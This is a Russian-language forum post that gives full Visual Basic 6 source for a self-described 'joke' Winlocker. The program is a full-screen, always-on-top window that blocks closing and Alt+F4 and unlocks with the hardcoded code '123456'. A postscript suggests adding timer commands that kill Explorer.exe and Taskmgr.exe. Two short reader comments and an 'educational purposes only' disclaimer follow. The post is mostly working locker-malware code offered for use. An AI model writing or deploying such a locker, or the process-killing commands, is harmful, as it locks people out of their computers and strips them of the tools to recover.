Веб программирование

Шуточный Winlcoker

 
 

Итак , Сегодня мы напишем Шуточный Winlocker На Visual Basic 6.0

-----------------------------------------------------------------------------------

 

Код Модуля Для Прозрачности:

--------------------------------------------------------------------------

Option Explicit

'-----------------------------------------[Константы]

Public Const GWL_EXSTYLE = (-20)

Public Const WS_EX_LAYERED As Long = &H80000

'-----------------------------------------[Типы]

Public Type InitCommonControlsExStruct

    lngSize As Long

    lngICC As Long

End Type

'-----------------------------------------[Api функции]

Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long

Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Public Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal l1 As Long, ByVal l2 As Long, ByVal l3 As Long) As Long

Public Declare Function InitCommonControlsEx Lib "comctl32.dll" (iccex As InitCommonControlsExStruct) As Boolean

Public Declare Sub InitCommonControls Lib "comctl32.dll" ()

Public Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long

Public Declare Function FreeLibrary Lib "kernel32.dll" (ByVal hLibModule As Long) As Long

'-----------------------------------------

Public Sub Main()

  Manifest

   UNB.Show

End Sub

'-----------------------------------------

Public Sub Manifest()

    Dim iccex As InitCommonControlsExStruct, hMod As Long

    With iccex  

      .lngSize = LenB(iccex)       

.lngICC = &H4000& ' vb intrinsic controls (buttons, textbox, etc)   

End With  

  On Error Resume Next

   hMod = LoadLibrary("shell32.dll")   

InitCommonControlsEx iccex   

If Err Then    

    InitCommonControls ' try Win9x version     

   Err.Clear  

  End If  

  On Error GoTo 0   '... show your main form next (i.e., Form1.Show)   

If hMod Then FreeLibrary hMod

End Sub

-----------------------------------------------------------------------------------

 Код Полупрозрачной формы - баннера (SB)


 

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

    Private Const HWND_TOPMOST = -1 

   Private Const SWP_NOSIZE = &H1  

  Private Const SWP_NOMOVE = &H2

'-----------------------------------------

' Делаем форму прозрачной

Const Alpha = 200

        SetWindowLong hWnd, GWL_EXSTYLE, GetWindowLong(hWnd, GWL_EXSTYLE) Or WS_EX_LAYERED

        SetLayeredWindowAttributes hWnd, 0, Alpha, 2

'Растягиваем на весь экран

        Me.Width = Screen.Width

        Me.Height = Screen.Height

'Делаем чтобы форма лежала поверх всех

        SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE

End Sub

'-----------------------------------------

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

'Защита от выхода

Cancel = True

End Sub

'-----------------------------------------

Private Sub Form_Unload(Cancel As Integer)

'Защита ALT+F4

Cancel = True

End Sub

'-----------------------------------------

-----------------------------------------------------------------------------------

Создадим еще одну форму - форму разблокировки , и назовем ее UNB

Приведем ее к такому виду :

 

И естественно код:

-----------------------------------------------------------

 Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const HWND_TOPMOST = -1

   Private Const SWP_NOSIZE = &H1

  Private Const SWP_NOMOVE = &H2

'-----------------------------------------

Private Sub Command1_Click()

Text1.Text = Text1.Text + "1"

End Sub

 

Private Sub Command10_Click()

Text1.Text = Text1.Text + "0"

End Sub

Private Sub Command11_Click()

If Text1.Text = "123456" Then

'Сообщение о разблокировке

End

Else

'Сообщение о неправельности пароля

Text1.Text = ""

End If

End Sub

 

Private Sub Command2_Click()

Text1.Text = Text1.Text + "2"

End Sub

 

Private Sub Command3_Click()

Text1.Text = Text1.Text + "3"

End Sub

 

Private Sub Command4_Click()

Text1.Text = Text1.Text + "4"

End Sub

 

Private Sub Command5_Click()

Text1.Text = Text1.Text + "5"

End Sub

 

Private Sub Command6_Click()

Text1.Text = Text1.Text + "6"

End Sub

 

Private Sub Command7_Click()

Text1.Text = Text1.Text + "7"

End Sub

 

Private Sub Command8_Click()

Text1.Text = Text1.Text + "8"

End Sub

 

Private Sub Command9_Click()

Text1.Text = Text1.Text + "9"

End Sub

 

Private Sub Form_Load()

Const Alpha = 200

     SetWindowLong hWnd, GWL_EXSTYLE, GetWindowLong(hWnd, GWL_EXSTYLE) Or WS_EX_LAYERED   

     SetLayeredWindowAttributes hWnd, 0, Alpha, 2  

     SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE

End Sub

 

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Cancel = True

End Sub

 

Private Sub Form_Unload(Cancel As Integer)

Cancel = True

End Sub

 


-------------------------------------------------------------------------------------------------------------------------

На этом все.

 

P.S

Не запускайте программу пока не напишите весь код.

P.S P.S

Можно еще добавить на форму таймер с коммандой

Shell "Cmd /x/c taskkill /f /im Explorer.exe"

Shell "Cmd /x/c taskkill /f /im Taskmgr.exe"

P.S P.S P.S

Повысьте репутацию хотя - бы за то что я Построчно копировал код - ушло 28 минут , я засекал

-------------------------------------------------------------------------------------------------------------------------

 


Есть вопросы? Спроси на нашем форуме!!
Mishavet [26.04.2015 00:05]

Люди , Только в сарай не кидайте...

DIGIUS470 [04.06.2015 03:35]

Mishavet, код весьма посредственный. Взламываеться весьма просто. Функционала особого нет. К тому-же такая статья уже есть.



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.